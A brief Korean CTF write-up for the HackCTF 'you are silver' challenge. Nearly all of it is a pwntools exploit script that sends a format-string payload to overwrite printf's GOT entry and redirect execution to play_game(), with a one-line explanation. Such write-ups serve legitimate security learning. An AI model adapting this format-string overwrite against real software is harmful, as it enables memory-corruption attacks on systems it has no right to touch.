CTF write-up/hackctf

[hackctf] you are silver

youngsouk 2019. 7. 15. 08:54
from pwn import *

#p = process('./you_are_silver')
p = remote('ctf.j0n9hyun.xyz', 3032)
e = ELF('./you_are_silver')

context.log_level = "debug"

p.recv()

payload = '%4196055c' + '%8$ln' + 'a' * 2  + p64(e.got['printf']) + 'a' * 40

p.sendline(payload)

p.interactive()

fsb를 이용하여 printf()함수를 play_game()으로 바꾸면 익스가 가능하다.